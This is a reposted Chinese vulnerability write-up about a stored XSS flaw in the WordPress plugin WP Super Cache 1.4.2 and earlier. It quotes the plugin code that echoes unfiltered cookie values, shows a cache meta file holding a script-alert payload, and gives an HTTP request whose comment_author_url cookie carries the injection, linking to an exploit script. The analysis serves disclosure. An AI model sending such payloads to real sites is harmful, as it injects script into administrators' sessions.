转载

WP Super Cache <=1.4.2 存储型XSS漏洞分析

前言

适才惶惶期许,熙熙碌碌,南北无居,遥忆初至宝地,恰逢冰火热映。 彼时彼刻,恰似此时此刻,良人多秋木,树草恋归居,谨记遥别昨日!

WP Super Cache &lt;=1.4.2 存储型XSS漏洞分析

基本信息

WP Super Cache 会把未缓存过的文件静态化,写入html文件到wp-contents/cache 目录。对于wordpress用户(匿名评论,作者,管理员等)生成一个key,其中key 部分取自访问当前页面的用户cookie,根据key来找到对应的缓存文件。 插件后台展示页面会列出所有缓存的文件以及key,由于对key 未过滤,导致插件后台存在存储xss漏洞。

触发地址:

http://127.0.0.1/cms/wordpress/wp-admin/options-general.php?page=wpsupercache&tab=contents&listfiles=1&_wpnonce=b468360c30#listfiles

触发截图:

WP Super Cache &lt;=1.4.2 存储型XSS漏洞分析

代码分析

插件会hook所有页面调用函数 wp_super_cache_init 来初始化插件。

file: wp-super-cache.1.4.2/wp-cache-phase1.php  line:107

function wp_super_cache_init() {    .......    get_wp_cache_key() }

get_wp_cache_key() 调用  wp_cache_get_cookies_values

file :wp-super-cache.1.4.2/wp-cache-phase1.php    line:360

function wp_cache_get_cookies_values() {  $string = '';  $regex = "/^wp-postpass|^comment_author_";  //前台评论,无需注册。  if ( defined( 'LOGGED_IN_COOKIE' ) )   $regex .= "|^" . preg_quote( constant( 'LOGGED_IN_COOKIE' ) );  else   $regex .= "|^wordpress_logged_in_";  //普通登录用户  $regex .= "/";  while ($key = key($_COOKIE)) {   if ( preg_match( $regex, $key ) ) {    if ( isset( $GLOBALS[ 'wp_super_cache_debug' ] ) && $GLOBALS[ 'wp_super_cache_debug' ] ) wp_cache_debug( "wp_cache_get_cookies_values: $regex Cookie detected: $key", 5 );    $string .= $_COOKIE[ $key ] . ",";  //直接取cookie 没有过滤   }   next($_COOKIE);  }  reset($_COOKIE);    // If you use this hook, make sure you update your .htaccess rules with the same conditions  $string = do_cacheaction( 'wp_cache_get_cookies_values', $string );  return $string; }

检查是否被缓存过并且把cookie等信息写入 wp-content/cache/meta 目录

如 file:wp-cache-94bbb0fe53ee08e617bce3f2d58f264f.meta

a:5:{s:7:"headers";a:4:{s:4:"Vary";s:12:"Vary: Cookie";s:12:"Content-Type";s:38:"Content-Type: text/html; charset=UTF-8";s:10:"X-Pingback";s:53:"X-Pingback: http://127.0.0.1/cms/wordpress/xmlrpc.php";s:13:"Last-Modified";s:44:"Last-Modified: Fri, 10 Apr 2015 06:08:45 GMT";}s:3:"uri";s:24:"127.0.0.1/cms/wordpress/";s:7:"blog_id";i:1;s:4:"post";i:0;s:3:"key";s:78:"127.0.0.180/cms/wordpress/<script>alert(0)</script>,x@baidu.com,http://2222,";}

后台展示页面 WP Super Cache 设置 > 内容 ,关键代码。

file:wp-super-cache.1.4.2/wp-cache.php   line:2347

ksort( $cached_list ); //缓存文件列表,从wp-contents/cache 文件夹读取。     foreach( $cached_list as $age => $d ) {      foreach( $d as $details ) {       echo "<tr $bg><td>$c</td><td> <a href='http://{$details[ 'uri' ]}'>" . $details[ 'uri' ] . "</a></td><td> " . str_replace( $details[ 'uri' ], '', $details[ 'key' ] ) . "</td><td> {$age}</td><td><a href='" . wp_nonce_url( add_query_arg( array( 'page' => 'wpsupercache', 'action' => 'deletewpcache', 'uri' => base64_encode( $details[ 'uri' ] ) ) ), 'wp-cache' ) . "#listfiles'>X</a></td></tr>/n";       $flip = !$flip;       $c++;      }     }

变量 $details[ 'key' ] 来自于wp-content/cache/meta 中的文件,直接输出,没有任何过滤。

漏洞利用

由以上分析可知。发送以下数据包即可生成新的缓存,插入恶意脚本。

GET /cms/wordpress/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: comment_author_url_{randstr}={poc}{randstr} Connection: keep-alive

简单exploit: https://github.com/yaseng/pentest/blob/master/exploit/wp-super-cache-xss-exploit.py

* 作者/Yaseng,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...